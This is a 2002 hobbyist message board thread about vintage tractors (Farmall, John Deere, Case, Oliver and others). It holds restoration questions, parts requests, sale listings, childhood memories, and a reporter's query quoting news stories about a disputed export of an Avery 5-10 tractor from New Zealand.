CARLOS CADENA wrote on Saturday, October 26, 2002 (PDT): I RECENTLY BOUGHT A FARMALL B AND WAS TOLD THAT THE WATER PUMP WAS BAD, IT RUNS GREAT BUT LEAKS WATER FROM THE OVERFIOW TUBE. I'VE WORKED FOR 8 HOURS AT A TIME AND IT ONLY LOSES ABOUT 2 QUARTS OF WATER.IT DOES NOT LOOK LIKE ITS OVERHEATING,MY QUESTION IS WHERE IS THE WATER PUMP LOCATEDAND IS THIS THE PROBLEM.
LLoyd Thomas wrote on Saturday, October 26, 2002 (PDT):yes i have used farmall m they areareal good machie
Don Collison wrote on Friday, October 25, 2002 (PDT): I have a customer with an old JD crawler. He says the SN is 1A5649L116. Anyone got any info on this?
matt m wrote on Friday, October 25, 2002 (PDT):I think a lot of us are looking for this very tractor but nobody's giving them up.
H Legrand christensen wrote on Thursday, October 24, 2002 (PDT):I have a 50 Z MM I need a oil filter,My fram book is a 1991 It does not list a filter for a Z,It dont go back that far It does list a couple for jetstars--Ch 125 pl Ch251 Pl any chance one of these would fit,I need Help,Thank you
H Legrand christensen wrote on Thursday, October 24, 2002 (PDT):I have a 50 Z MM I need a oil filter,My fram book is a 1991 It does not list a filter for a Z,It dont go back that far It does list a couple for jetstars--Ch 125 pl Ch251 Pl any chance one of these would fit,I need Help,Thank you
Cookie wrote on Thursday, October 24, 2002 (PDT):I have a Farmall Tractor and I don't know the year. If anyone knows how to tell what year it is please e-mail me to let me know. Thanks.
Gerry Martens wrote on Thursday, October 24, 2002 (PDT):Would like to find and purchase a G series, with underslung discers,cult., as well as seeders. We live and garden in central Manitoba Ca.
Brent B. wrote on Thursday, October 24, 2002 (PDT):My grandfather had an allis chalmers (probably the size of a WD-40). It had steel wheels in the rear and rubber in the front. It had a crank startand he used it at his summer cottage on an island to run a saw mill and to pull trees out of the woods. I was wandering if someone could guess the aprox. year and model. Thanks Brent B. St. Anne,Illinois
Peter Howie wrote on Thursday, October 24, 2002 (PDT):I have a 2010 diesel row crop utility and after having the head cast welded two years ago for cracks between the turbulence chambers, I have discovered that they have developed additional cracks. If anyone could help me out with a head in good condition or could advise me where I may obtain one, could they please let me know. I am also searching for injector nozzles or a nozzle rebuild kit.
H LeGrand Christensen wrote on Wednesday, October 23, 2002 (PDT):the 1950 51 had a drawbar horse power of 34,Belt was about 44.
michael wrote on Wednesday, October 23, 2002 (PDT):looking for a diesel farmall. MD,400, etc. in good running condition. don't have to be pretty but a fair price. new englan area preferred.
Tom Dickison wrote on Wednesday, October 23, 2002 (PDT):We had two F-30's when I grew up. One was on rubber, the other on steel. We used them both as compactors in bunker silos. I have been trying to find a picture of an F-30, no luck yet!
Bill Hanson wrote on Tuesday, October 22, 2002 (PDT):My 1943 M has fresh paint and I will have pictures in the near future. May be willing to sell and listen to serious offers. It really brings back the memories.
Bill Hanson wrote on Tuesday, October 22, 2002 (PDT):I have a 1943 M Farmall S/N 63962 new Firestone rear tires and new Titan front tires. Restored in 2002 with new pistons, sleeves and rings and sounds great. New battery & 12 volt conversion, Rockwell pulley, fenders, PTO shaft cover and fresh p
Randal Patterson wrote on Tuesday, October 22, 2002 (PDT):I am looking for some used front & rear wheels for a 1938 JD-L. I can make repairs to them if needed. Also, I would like to know if anyone can tell me the web site where they have a junk yard of L's & LA's. I found it once but can't find it again. Thanks
Bruce Horne wrote on Tuesday, October 22, 2002 (PDT): My Dad bought a '47 F Cub in '69 from a farm neighbor in Bangor, Pa. It has a woods belly mower. I inherited it three years ago. I use it to mow my yard. It is all orignal, 6-volt with working lights. I am in the process of cleaning it up. It starts and runs great. I would like to get the Farmall decal that was on the hood. I live near Sanford, NC. Thanks
Sean Matlock wrote on Monday, October 21, 2002 (PDT):Does any one know the horse power of a Farmall B. I'm entering one in a show in Houston TX and have to know th HP.
Donna Baraw wrote on Monday, October 21, 2002 (PDT):My question is I own an Oliver 55-550? My manuel says both, are they interchangeable?I am looking for PTO clutch spider---my tractor looks exactly like the one in the picture. Has the hand lever to engage and disengage the PTO. Also how do I find out what year it is?
matt m wrote on Monday, October 21, 2002 (PDT):still looking for that G in Central Pennsylvania, any leads are welcomed.
Phil Smitty wrote on Monday, October 21, 2002 (PDT):That's real stupid painting a farmall black in memory of DE ( his name ain't worth typing out ), get over it he's dead. Anybody who morns a dead racing guy has major issues. You just ruined your tractor. The loser deserved what he got anyways.
Greg wrote on Sunday, October 20, 2002 (PDT):Many years ago my grandfather bought a 3 cylinder Diesel english made Ford. It has live pto and live hydro with a 3 point hitch, I was woundering what it is and what it is worth?
Joel Rhoades wrote on Thursday, October 17, 2002 (PDT):My father used one on his farm south of York, Nebraska. We used to drive it all the time and it would start easily with the first or second crank. My brothers would have a contest on who could start it with the least cranks. We had to sell it at a farm sale in 1982, while I was in the Army. I would like to get it back and restore it, if possible. I don't know who bought it. How can I find out and find it? Please help if you can.
Joel Rhoades wrote on Thursday, October 17, 2002 (PDT):My father used one on his farm south of York, Nebraska. We used to drive it all the time and it would start easily with the first or second crank. My brothers would have a contest on who could start it with the least cranks. We had to sell it at a farm sale in 1982, while I was in the Army. I would like to get it back and restore it, if possible. I don't know who bought it. How can I find out and find it? Please help if you can.
Ron Weyer wrote on Wednesday, October 16, 2002 (PDT):The second tractor I remember my father buying was a 2010 JD. The first was a John Deere A ,which my father later sold regretably! The 2010 was the main reason my dad swithched from John Deere to IH/Farmall. The 2010 was the biggest pile of junk I have ever seen and my grandfather and all my uncles are John Deere men and they all agree the John Deere 2010 was the equivelant to the Ford Edsel. I have recently purchase a 1020 and could not be happier! After my dad used it for a few jobs, He agreed nothing runs like a DEERE
Lloyd T. Powell wrote on Wednesday, October 16, 2002 (PDT):I have a 53 super m and use it daily haying and around the ranch, I am loking for a way to increase HP without having to put in a stroker kit. It is lpg. It runs great is real strong but the hyd system is not strong enough to lift the blade of my disc mower any suggestions please.
rene j. patenaude wrote on Wednesday, October 16, 2002 (PDT):I am trying to find pictures and the case eagle enblem for a 1955 case 400 . tell 802 988 9681 ask for rene.
Dave Larsen wrote on Wednesday, October 16, 2002 (PDT):Like many of you, I grew up on the F-14, given us new,by a great uncle in 1938. It powered Grandpa's thresher, a Belsaw 12' carriage sawmill, a Belsaw 12" planer, pulled logs to the mill, cut hay with the 7' bar, pulled the wagon and hayloader...........well, all the stuff needed on the farm. I too, started it by standing on the crank, as a young boy, so that we could drive it to Cox's pond up the canyon to go swimming. I am rebuilding it now, after dad had let it sit idle for years when the tires wore out. I have two other F-14's, one running and one for parts, but maybe I'll rebuild both and find other sources for parts. Glad to read other's comments about nostalgic moments with a real friend........the F-14
Eric R wrote on Wednesday, October 16, 2002 (PDT):I am restoring a number of Cub Implements and am in need of some help. I have been unable to find the correct blue that was used on some of the Implements in the 1940's. I have Implements form 1947-49. I also have a 1948 Cub that I restored a couple of years ago. I would very much appreciate any and all help that anyone can offer. Please email me with any information. Thank you...
erik wrote on Sunday, October 13, 2002 (PDT):We have a fordson major diesel in our sailing club. They asked me to get it working again. They told me the dynamo doesn't work anymore and the battery is flat. Maybe somebody can give me some advice in advance. How can I determinate wat it's age is ? Maybe we will sell it.
Jack M. Goldberg wrote on Sunday, October 13, 2002 (PDT):HELP, can anyone tell me what a 1950 Case V 161 or VT 161, not running is worth, or about how much I should go, NEW at this, please HELP, thanks.
Bobby Singleton wrote on Sunday, October 13, 2002 (PDT):I have a 1957 farmall cub for sell.With belly mower. serial no.161034J changed to 12 volts system, new brakes pto and hydr.I live just north east of montgomery al just tuned up .new plugs wires ,good condition. will sell for 2,500 dollors. it is a true antique. runs good a little smoke when it first cranks.
Bob Jones wrote on Friday, October 11, 2002 (PDT):looking for a used plow 2 bottom-3point with coultures complete and reasonably priced. thanks Bob
Kent Atkinson wrote on Thursday, October 10, 2002 (PDT):My name is Kent Atkinson and I am a reporter with a New Zealand news agency. I have two groups of people making competing claims about an Avery 5-10 tractor. One says it was probably made/imported in 1910, but the other group, which has a vested interest in making it seem more commonplace (and so able to be exported) claims that it was only produced from 1916. This seems to be at odds with the picture on this website of a 1910 version. Any (brief) suggestions? Also, mention is made in one of the stories of an Avery 5-10 being sold in the United States in the past week -- can anybody tell me approximately how much it sold for in US dollars or is there some other indicationof the dollar value of an Avery 5-10? Thanks - I've included the two stories below; Wanganui, Sept 18 - Vintage tractor enthusiasts are battling to have Minister of Arts, Culture and Heritage Judith Tizard use the Antiquities Act to declare a rare old tractor should not be exported by its Irish purchaser. The ministry declined the export permit in July, but Irish owner Gerry King has appealed and a spokeswoman for the ministry, Margaret Marks, said today the decision was now in the hands of Ms Tizard. This is the first time the ministry has declined an export permit for a tractor of this nature, and if Mr King's appeal is unsuccessful, the ministry will order the rare Avery tractor stay in New Zealand. Rural contractor Roger Mahon, a critic of the efforts to ship out a crucial piece of the nation's history, said the tractor was the only known model of its kind in New Zealand and was one of the earliest tractors to come to this country. The rare friction-driven machine was imported to New Zealand by Wanganui-based company Hatrick and Co during the very early years of last century. It was reputed to be the first tractor to arrive in Wanganui. Further checks worldwide have only located one other in the United States and that was claimed to have been made in 1910. Mr Mahon said its model designation of 5-10 referred to five horsepower at the drawbar, and 10 horsepower on a belt pulley. Its transmission was a friction-drive, a right-angled flange wheel against a large flat faceplate. The transmission drive flange had a fibre outer surface that could be disengaged simply by moving it away from the driving faceplate. The tractor's speed could be varied by moving the drive closer to the centre of the plate, for a slow speed, and out to the outer edge to go faster. For ``reverse gear'' the drive switched to the opposite side of the flange plate. ``Friction drives were simple and gave a variation of speeds when most other tractors had only one forward gear,'' Mr Mahon said. ``The Avery did a lot of farm work from ploughing, discing and pulling hay carts to sawbench work,'' Mr Mahon said. To use the belt pulley. with the tractor stationary, a locking pin and transmission drive cog had to be removed. The New Zealand model has had a more modern carburettor and magneto fitted but started out life with trembler buzz coils similar to Ford's Model T, powered by dry batteries. Mr Mahon said the mid-mounted seating position was only common to the earliest of tractors, as were totally exposed drive gears to the rear wheels. It was discovered nearly 30 years ago through a chance meeting in Levin. Mr Mahon was a contractor on a rural water scheme for the Horowhenua District Council in 1973 when hunter Bob Burling told him of the ``funny-looking old tractor'' that had been abandoned under a collapsed shed at the head of the Waitotara Valley, near Wanganui. ``Bob had stumbled across the tractor during a hunting trip and would have loved to have bought it, but there was no way of getting it out. He took photos of it and removed the name plates, which he still has.'' A local farmer, Simon Pearce, cut an access track with a D4 bulldozer to tow the tractor back to his farm further down the valley. ``Using a few farm tools, Simon managed to get the tractor running after pouring diesel down the cylinder bores to unseize the pistons,'' Mr Mahon said. ``He told me he used to drive it from his farm homestead out to the road to collect his mail and stores.'' During the 1970s, while installing a fibre optic cable from Levin to Patea, Mr Mahon found Mr Pearce had sold his farm. He had also sold the tractor for $300 to a Hamilton man, but he'd forgotten the buyer's name. Later Mr Mahon was told by an antique tractor enthusiast, Alan Marx from Eltham, that the very rare Avery tractor had been sold to an overseas buyer who was seeking an export permit. ``I wrote a strongly worded letter opposing the permit giving the history I had about it. It amazed me I was the only person at that stage to know where the tractor had come from and the little history about it,'' Mr Mahon said. ``After Hatrick imported it to Wanganui it was sold to the Waldie family who developed a farm from bush land at the head of the Waitotara Valley. They sold the farm about 1946. Hatrick became New Zealand agents for Avery and sold tractors and products throughout New Zealand,'' Mr Mahon said. ``Most people I have spoken to would like to see the tractor returned to Wanganui where it began life in New Zealand. ``If the people of Wanganui don't want it, I'm sure somebody in New Zealand will buy it,'' Mr Mahon said. NZPA WGC kca Timaru, Oct 11 2002 - An international tug-of-war over a rare vintage tractor being exported from New Zealand by its Irish owner is still waiting on a decision by Arts, Culture and Heritage Minister, Judith Tizard. The Ministry of Arts the Culture and Heritage declined in July an initial first application for an export permit, but owner Gerry King appealed, and vintage tractor enthusiasts who say the tractor is part of the national heritage want Ms Tizard to block the export. A spkoesman for the minister said today Ms Tizard was seeking independent advice before making the decision. The friction-driven tractor is housed at Ben Lewis' property in South Canterbury awaiting Ms Tizard's decision. Mutual friends in Northern Ireland put Mr King in touch with Mr Lewis, who in April agreed to pack the tractor ready for export. The tractor had been for sale for about four years before Mr King paid ``a considerable amount'' for it, Mr Lewis said. He would not disclose the price paid for the tractor. Mr Lewis said today there was a lot of misinformation being spread about the tractor, which would hinder the export being approved. He suggested rural contractor Roger Mahon, a critic of efforts to ship out the tractor, was wrong in thinking the tractor was the only known model of its kind in New Zealand and one of only two in the world. It was not one of the earliest tractors to come into this country, Mr Lewis said. The first tractor was imported in 1904, but Mr King's friction-driven machine was imported by Wanganui-based company Hatrick and Co around 1918, he said. The American Avery tractors of this 5-10 model were in production from 1916-1920. ``This was not the first tractor in this area, as Mr Mahon claims, and is not the only tractor of its kind,'' Mr Lewis said. ``One sold last week in America.'' Mr Lewis said several parts of the machine were not original, including the chassis rail (where the serial number indicating the tractor's age would have been written), the ignition system, side rails, engine bonnet, seats, and fuel tank. Mr Mahon claimed the tractor did a lot of farm work including ploughing and pulling plough carts, but Mr Lewis disagreed. Mr Lewis said this was misleading. There was very little wear and tear on the tractor, which indicated it had done little work. Before buying the tractor Mr King checked regulations regarding its export to Ireland and was given the ``all clear'', Mr Lewis said. ``Mr King had been supplied with incorrect information. He had done everything that should have been necessary, but now finds he was given the wrong information.'' Mr Lewis hoped once Ms Tizard learned the tractor was not as rare as Mr Mahon claimed she would approve the export permit. He said Mr King was very frustrated that he was unable to have his tractor. CAPTION; Ben Lewis with the antique tractor that enthusiasts are fighting to keep in the country.
Ed Rothermel wrote on Wednesday, October 09, 2002 (PDT):I Bought a cub in summer of 2001 have taken it appart rebuilt and stripped paint have it ready to repaint and putback together but am missing # plate Anyone know where i can purchase one? dont know what year it was made? many thanks Ed/
rick truelock wrote on Wednesday, October 09, 2002 (PDT):I have 8n ford I allso bought frontend loader modle 19-21 Dearborn Dearborn Farmequipment. I need some parts like the pump'pins'ext
jospeh wrote on Wednesday, October 09, 2002 (PDT):Ah nice...................
Stephen Brodie wrote on Tuesday, October 08, 2002 (PDT):I was raised on John Deere green and still love the stuff, but just aquired a 930 and a 500. As a kid if 15 I worked for Farms in Alberta and had the opportunity to spend many hours on a 500. It was a brute compared to Dad's JD 70 Diesel, and it would have pulled that machine around against it's will. I remember the heat from that beast and the lulling sound of that fine machine, and the fact that it never broke, It's taken me 40 years to get back to driving one and it's Not for sale. I even called my last kid Case Brodie.
Alan Dickson wrote on Tuesday, October 08, 2002 (PDT):I have a Case 800 O Matic. Restoring but can't seem to get the radiator off because of a hydraulic line on the bottom that I can't get a wrench on because of close quarters. Has anybody had that problem. I think it's about 1960 or so vintage and runs beautifully on propane. Left out in a field in the Rain in Wa. State for 15 years, I rescued it put on new points, plugs, condenser and plug wires and it started up immediately but I need to get that radiator off.
Wayne Hauck wrote on Tuesday, October 08, 2002 (PDT):Need a water pump for a 1947 row crop 70.
Chris wrote on Monday, October 07, 2002 (PDT):We have a 1949 m that we completely restored internally and externally we painted it jet black and put a number 3 on the side in memory of Dale Earnhardt and the motor we have turning almost 100 horse power and placed third in the state of MI in the 6000 LBS. class
BOB NEWMAN wrote on Sunday, October 06, 2002 (PDT):IM LOOKY FOR A AC MODEL G THAT IS RESTORABLE IN AND AROUND MONTANA
Thom wrote on Sunday, October 06, 2002 (PDT): I operated an M Farmall for 4 years in the 60's. I cut grass on a 100 acre airport in northern VA. We used a 91/2 Woods mower.We tried an H first,but it didn't have enough power. The M is a power house.
Loren Furland wrote on Sunday, October 06, 2002 (PDT):My family owned a 1936 F-20 purchased in 1936 and sold in 1952.It was battleship grey, had 2 hand operated brakes and was converted from steel wheels to rubber tires in about 1949. I remember a heavy cast iron steering wheel which could be spun when the tractor was running ar 4 to 6 mph and the operator could simultaneously jerk the brake to turn a square corner quickly. It had a magneto and hand crank starting, with no lights.
Stan Dumolt wrote on Saturday, October 05, 2002 (PDT):I have what I thought was a WD but I had it put in the shop for repairs and was told it was a WD45 how can I tell for sure what it is and what year it is. I really love it it's agreat tractor. So if someone could E-mail me and let know somethings about it.
Bob S. wrote on Saturday, October 05, 2002 (PDT): I have a Farmall Model B 1940 with single front wheel also with a Woods 306 Belly Mower. Fair condition asking $2500.00 contact me at (574)826-4440 or email at jtprimmer at earthlink.net
Jim Kennedy wrote on Friday, October 04, 2002 (PDT):I just purchased a oliver 60 it is a 41 but is panited red does not look as though it was repainted is there anyone who knows a reason.
Cullen Batz wrote on Friday, October 04, 2002 (PDT):I recently recieved my great grandfathers Oliver 70. It's fun to drive and runs well. It's got a great road gear and starts well on those cold Minnesota winter days.
Cullen Batz wrote on Friday, October 04, 2002 (PDT):I recently recieved my great grandfathers Oliver 70. It's fun to drive and runs well. It's got a great road gear and starts well on those cold Minnesota winter days.
Perc wrote on Friday, October 04, 2002 (PDT):I have a 44 deisel (1950) that my father purchased new. I had it in A-1 condition. As the result of a barn fire, it is not in A-1 condition anymore. It needs all tinwork, tires etc, but think the motor & transmition are OK? Also have a 1957 Mustang which I started to restore, but am not a tinker so has sat partly tore down, was running good when I started & is not seized up, has new tires. Could someone use any of these?
Robert J. Smith wrote on Thursday, October 03, 2002 (PDT):My first tractor was a Farmall M. The first thing I ever learned to drive was an M. It came to great surprise to know that the tractor I grew up with and loved would someday be mine. My grandpa gave it to me 2 years ago. Since then I have done everything that I could to keep her at her best. I would gladly take a Farmall M over any other tractor. What a great one she is.
rmlj wrote on Wednesday, October 02, 2002 (PDT):Looking for parts for Oliver Hart Par, Oliver 60, Oliver 88 Standard and Super 77 Diesel. Can anyone help?
Steve Sorensen wrote on Wednesday, October 02, 2002 (PDT):Looking for model R, Prefer not running, any year.I live in Iowa. E mail or phone 319-626-3075
Dave Lucht wrote on Wednesday, October 02, 2002 (PDT):To Justin Kuck; Check with the State Historical Archives of Wisconsin. (608)264-6484. They have a wealth of info and will copy anything they have and send to you. For items you need to buy-- try Jen Sales at Albert Lea, Mn. 1-800-443-0625. Good luck on your project.
Norris McCarty wrote on Wednesday, October 02, 2002 (PDT):I have a 47 "B" for sale. Tractor is in very good condition. Has starter and generator. Also starts easily with crank. Tractor is all original. Paint is faded but not a single dent or ding. Rear tires great. Front tires ok. call 915-223-2886 ask for Norris (San Angelo,Tx.)
Sharon wrote on Wednesday, October 02, 2002 (PDT):Whoops...........Correction; I don't 'own' the tractor in the picture, I own one like it. Please excuse goof.
Keith DeSantis wrote on Wednesday, October 02, 2002 (PDT):Looking for some help in I/D what I know are Farmalls I think one is a F-14 fairly good shape has a 14 inch plow attached was running a year or so ago from what I been told/seems to be all there,the only thing I did notice was someone welded the wheels to the axles.The other I think it is a F-12 pretty tuff shape motor is apart head is off I was told it has a cracked block.What is the differance in the two models are part interchangeable,and where can I expect to find the ser# tags,what are they worth any help would be appriciated.I live in New Hampshire.
Mark Heberlie wrote on Monday, September 30, 2002 (PDT):am in need of some 8-16 parts please
Gwen wrote on Monday, September 30, 2002 (PDT):My husband has a John Deere B that he is looking to sell. What is the tractor worth? How do we find out what year it was manufactured? It is in excellent condition, it's been stored in the garage, while my car sits outside!! We've recently sold our ranch and we would really like to sell it. If anyone can help us out, I would really appreciate it. Thank you.
Clem geiger wrote on Monday, September 30, 2002 (PDT):I purchased a small cocshutt this summer. It's a clean machine. Someone removed the tag that identifies the model number. the tag was on the shroud just under the instrument panel. Does anyone have any idea how I can identify the model number. I suspect it was made after Oliver owned both cockshutt and Fiat. Fiat is stamped on the Tach, casting tie rod, and electrical panel. Any help would be appreciated.
Sharon wrote on Sunday, September 29, 2002 (PDT):Hello, I not only own the tractor in the picture, I own the other 15 "M"s that were manufactured between 1939 and 1954. I am trying to find out what a collection like that is worth. Does anyone have a clue? Oh, all are completely restored and shedded.
sam wrote on Friday, September 27, 2002 (PDT): looking for oil filter bracket 77 gas petrol 1946 yr new zealand
Ben in Indiana wrote on Friday, September 27, 2002 (PDT):Just finished a 1946 H with my ag classes at school. I'm the teacher. It runs great and looks great. It will be in a parade this week end. Check with your local high school ag classes for help on tractors and also volunteer to help them out sometimes with their needs.
ray west wrote on Friday, September 27, 2002 (PDT):I'm looking for a loader to fit a Ferguson 35 Deluxe tractor.1958-9. TO-35 on dash tag. Would like a hydraulic loader as opposed to a 3 point hitch one. can anyone help? Thanks
THOMAS M SHERIDAN wrote on Thursday, September 26, 2002 (PDT):I WORKED FOR MASSEY HARRIS OUT OF THE OMAHA BRANCH IN THE SERVICE DEPARTMENT. EMIL DOLL THE SERVICE MANAGER AT THAT TIME[1951]TOLD ME THAT THE GP WAS ENGINEERED AS AN ARTICULATED CENTER BUT THAT WAS TABLED BECAUSE OF THE HIGH COST OF MANUFACTURING. HE SAID THAT IT WAS A FANTASTIC MACHINE. HAS ANYONE EVER SEEN ONE OF THESE? I;M REALLY NOT SURE IF ONE WAS EVER BUILT, OR IF EMIL MEANT THAT IT WAS A FANTASTIC IDEA. ERIN GO BRAUGH!!!!!!!!!!!!!
Sam Stephens wrote on Thursday, September 26, 2002 (PDT):Best tractor ever made. I have 2 of them 1 is a 1947 the other is a 1948. I use the 1948 to bush-hog with a 8 foot littlestan mower, and have out cut a Ford 6610 with a 10 foot mower. Because most people don't know the SK has a 750 hpm powertakeoff that you can cut grass at 8 mph and do a good job.
Ricardo wrote on Thursday, September 26, 2002 (PDT):I farmed with a golden MM "U" for many years. I bought that tractor when I was 16 years old and baled a lot of hay with it. I remember so many farming memories while I was seated upon that machine. I loved it so much- I bet if the Lord was a farmer- he would have a Minneapolis-Moline U with a continuos pto, power steering, and maybe even a sun umbrella- how knows though? Keep those MM's farming- the world needs them!
Ray Foster wrote on Thursday, September 26, 2002 (PDT):I recently found an old Regular, the serial # tag is missing, the engin # starts with QC indicating before 1926, the # is 98553 making it a 1930. The International data book I have indicates 402 tractors built before 1928 with housing 1556-DC, mines DB, the same book says the front bolster 1556-DD before August 1928, mines DC, I need help... I have a "36 F-20 (missing the S/N tag)the frame # and engine #'s match, I haven't found a frame # on this tractor.
Dan Pigg wrote on Wednesday, September 25, 2002 (PDT):We (Pigg family) have an old "R" picked up from around Bayou Lagrue, Arkansas. We threw some money at it and used it several years here in Indiana. Not too long ago we put it on a dyno in Sullivan (IN) and it cranked just under 51 horses. Kind of a lively one. It pulled 4 plows threw mighty heavy soil. I work here at the college in Terre Haute. It needs something to do now.
J R Sharpe wrote on Wednesday, September 25, 2002 (PDT):I sure am glad that I came upon this web site. In 1949, my granddad got killed when a team of work horses ran away with him, causing my dad to move his family to the family farm that he was raised on in Jan. 1950; at which time he purchased a 1950 farmall cub with all the attachments that you can think of, even the round belly disc for turning land. I am now 59 years old and about ready to retire and would just love to find a 49 to 51 model cub that is in good restorable condition. I live in East Tennessee, (Kingsport, TN) grew up in Reidsvill, N.C. Will be interested in whats available in area, hundered miles or so radius. Thanks JR
Ron Zerkle wrote on Tuesday, September 24, 2002 (PDT):I recently purchased a house and along with it came, according to the ID plate below the dash, a Case VAI SN#6014428. Does anyone know the year of this tractor.
Andy wrote on Monday, September 23, 2002 (PDT):anonymous, There was a horsepower difference. The L was 11 horse and the LA was 14.
Arthur Ayers wrote on Monday, September 23, 2002 (PDT):Around 1984 or '85, my cousin bought and restored a 44 for pulling. He replaced the gas engine with a diesel. The 4 cyl. diesel that came in the 44D. He had lots of success with the ol' girl. I handled more suitcase weights than you can shake a stick at. He has since gotten rid of the 44. I was very upset when I found out he sold it, even though I didn't have the money to fix the cracked block (he thought that was the problem). I loved that tractor alot. I miss it to this day. Maybe I'll find it someday and bring it home.
keith kinser wrote on Monday, September 23, 2002 (PDT): have a 97 that i need a belt pulley and tool box for,and would like to know what was the first year the eng. on the 97 was produced and on what moline
Matt M wrote on Monday, September 23, 2002 (PDT):Does anybody know of any AC "G"s for sale in Central (capital area)Pennsylvania. I'd really like to have one to cultivate and farm with.
Mark wrote on Monday, September 23, 2002 (PDT):I picked up a 1940 B this summer runs great needs tires and a little paint. 3 pulls on the crank and it fires right up it smokes a little but thats okay.Alos looking for a single front wheel for it.
gary k wrote on Sunday, September 22, 2002 (PDT):ryan the IH super M's basic weight is 5603 lbs, the IH m's basic weight is 4858 lbs
AGary Kempher wrote on Saturday, September 21, 2002 (PDT):IOWN A 1953 MODEL 60 I am real proud to have it. I grew upn on a grain farm in the Ms river valley We uaed 70 diesels mostly, I wish I could get one again but they are so haevy to haul maybr i'll get another 60 or a Model A. I do know that antibue tractors are like peanuts, One is NEVER enough
Boobday wrote on Saturday, September 21, 2002 (PDT):I an looking for the FUNK adapter kit and parts to convert an 8n to a v8. Can anyone help? Thanks in advance for your help or info. Bob
John Wiggins wrote on Saturday, September 21, 2002 (PDT):I know two people who have super 77's. I drove a regular 77 for many years as a kid and an adult. It was a tough old tractor, it only had one fault. It was hard to shift from high neutral to low neutral.
Ronald Legault wrote on Saturday, September 21, 2002 (PDT):I have a massey-harris 81s all restored except the front grill ican not find any I am now restoring a massey-harris #1 special hay baler saturday september 21 2002 ps. the color of the 81s is red mine has original paint when my dad bought it thank you merci.
Ronald Legault wrote on Saturday, September 21, 2002 (PDT):I have a massey-harris 81s all restored except the front grill ican not find any I am now restoring a massey-harris #1 special hay baler saturday september 21 2002 ps. the color of the 81s is red mine has original paint when my dad bought it thank you merci.
Ferlin wrote on Friday, September 20, 2002 (PDT):We need a part for our Cub mower. It is an idler pulley assembly for the belly mower. Mower deck is a Sunmastr, compatable with a woods 59, and an Artsway. The part number we beleive is IH 60 for the 60 inch mower. Please help the weeds are getting out of control. We live on the Big Island of Hawaii, most of the parts dealers locally can't or aren't interested in helping. Mahalo!
Bob Sherwood wrote on Thursday, September 19, 2002 (PDT):Was up to a steam show a couple of wks. ago near Toronto, Ont. and seen a HUME tractor there. Wondered if you had ever seen one.
Ol Chief wrote on Wednesday, September 18, 2002 (PDT):I have four case tractors 1470,1175 and 2- 900 diesels just love em all.Just shortly ago I bought the last 900Dfrom a JD nut.This is a 1959 with steel wheels in run down condition.Kind of unusual to find a machine from 1959 on steel.It was used to plow gumbo soil an I am sure it pulled it's guts out on that duty. I intend to use it to clear some of my land of Mesqete Trees.For those of you unfamiliar with these trees,theyhave beautiful wood grain when large enough to harvest,wonderful picture frame material and and great for smokeing meat.Problem is -they have very strong two and three inch needles when young and on farm land.Makes tillage w/ a regular wheel tractor nearly impossible.I hope to post a picture of this beast in its present run down condition soon.I would like to locate a power steering unit for it.
John C. Perry wrote on Wednesday, September 18, 2002 (PDT):I've inherited a 1950 Ford 8N tractor. I'd like to know where to go to get any implements for it. Such as a front loader, post-hole digger, etc. Anyone got any suggestions?
TED AGEE wrote on Tuesday, September 17, 2002 (PDT):MR.HAHN I WILL BE SEENING YOU A ADDRESS TROUGH THE MAIL.WE WOULD ALSO BE INTERESTED IN TWO FRONT RIMS IF THERE IS ANY OUT THERE.
TED AGEE wrote on Tuesday, September 17, 2002 (PDT):MR.HAHN I WILL BE SEENING YOU A ADDRESS TROUGH THE MAIL.WE WOULD ALSO BE INTERESTED IN TWO FRONT RIMS IF THERE IS ANY OUT THERE.
Jeff Ranney wrote on Tuesday, September 17, 2002 (PDT):Just bought a row crop 66 1957 vintage. I am the second owner as it belonged to my brother in laws uncle who purchased it new in 1957. I have the orginal fenders and lights and it runs great. I was also given original service manual. I tried to service the front wheel bearings with oil as is recommended but it ran out. The seals are bad. Does anyone have a source for the wheel bearing seals? I also need a temp guage and a new steering wheel as the coating is falling off. Any help is greatly appreciated. Thanks, Jeff
Matt M wrote on Saturday, September 14, 2002 (PDT):Ryan, I believe The Super M weighed a good bit more than the regular M.
Paul Vaughan wrote on Saturday, September 14, 2002 (PDT):From what I've been told by a friend, don't know how true it is,that the "I" in the VAI indicated that it was a industrial type tractor. I have a 1950 Case VAI, it has hydraulics (pump mounted on the front case between the gear train and the magneto{mines been converted to a coil/distributor setup}). It had the remaining parts of a sickle mower underneath. Alos a homebrew 3 point setup. I am also looking for more info, engine size/manufacturer, location of SerNo. Data plate has been mangled.
travis etheridge wrote on Friday, September 13, 2002 (PDT):Bought a 1929 F-20, so the man said. Suspect it is a '32 model. Did the '29 10-20 look similiar? If so,perhaps that is what I have. Intend to restore it.
B Jones wrote on Friday, September 13, 2002 (PDT):Anywhere around Kansas or Arkansas. I can pick it up. Thanks again.
B Jones wrote on Friday, September 13, 2002 (PDT):I am interested in finding a Cub to restore. Weekend worrior project. I am in NE Kansas, but my family are in NE Arkansas. If anyone knows of one that is reasonabaly priced please let me know. Thanks
joe wrote on Thursday, September 12, 2002 (PDT):just finished restoring the paint on my 8n i bought in the spring, the tractor runs great ,smokes a little when given gas but the rings are a nother year. the problem is pto , the lower left connecting bar is leaking hydrolic fluid can this be fixed with out taking the casing appart.thanks joe...
joe wrote on Thursday, September 12, 2002 (PDT):just finished restoring the paint on my 8n i bought in the spring, the tractor runs great ,smokes a little when given gas but the rings are a nother year. the problem is pto , the lower left connecting bar is leaking hydrolic fluid can this be fixed with out taking the casing appart.thanks joe...
Matt M wrote on Thursday, September 12, 2002 (PDT):How fast did the "A", go?
Phil Roberson wrote on Thursday, September 12, 2002 (PDT):My father purchased a 1964 wide front end RU gas 2010 new in late 1963. It has been garaged on our farm ever since. I have the 307 gyra-mower that he purchased with the tractor. We have used the 2010 for mowing and trailer hauling for 38 years with no problems. It is all original except for the battery, starter, and front tires. I have other tractors, but I love the 2010. It was my father's favorite, and I will never part with it.
Ben wrote on Wednesday, September 11, 2002 (PDT):I have a B, s/n FAB163629, built in 1946, I think. The distributor is vertical rather than horizontal. I have never seen this on an IH tractor before. Anybody have an idea of what the significance of this is?
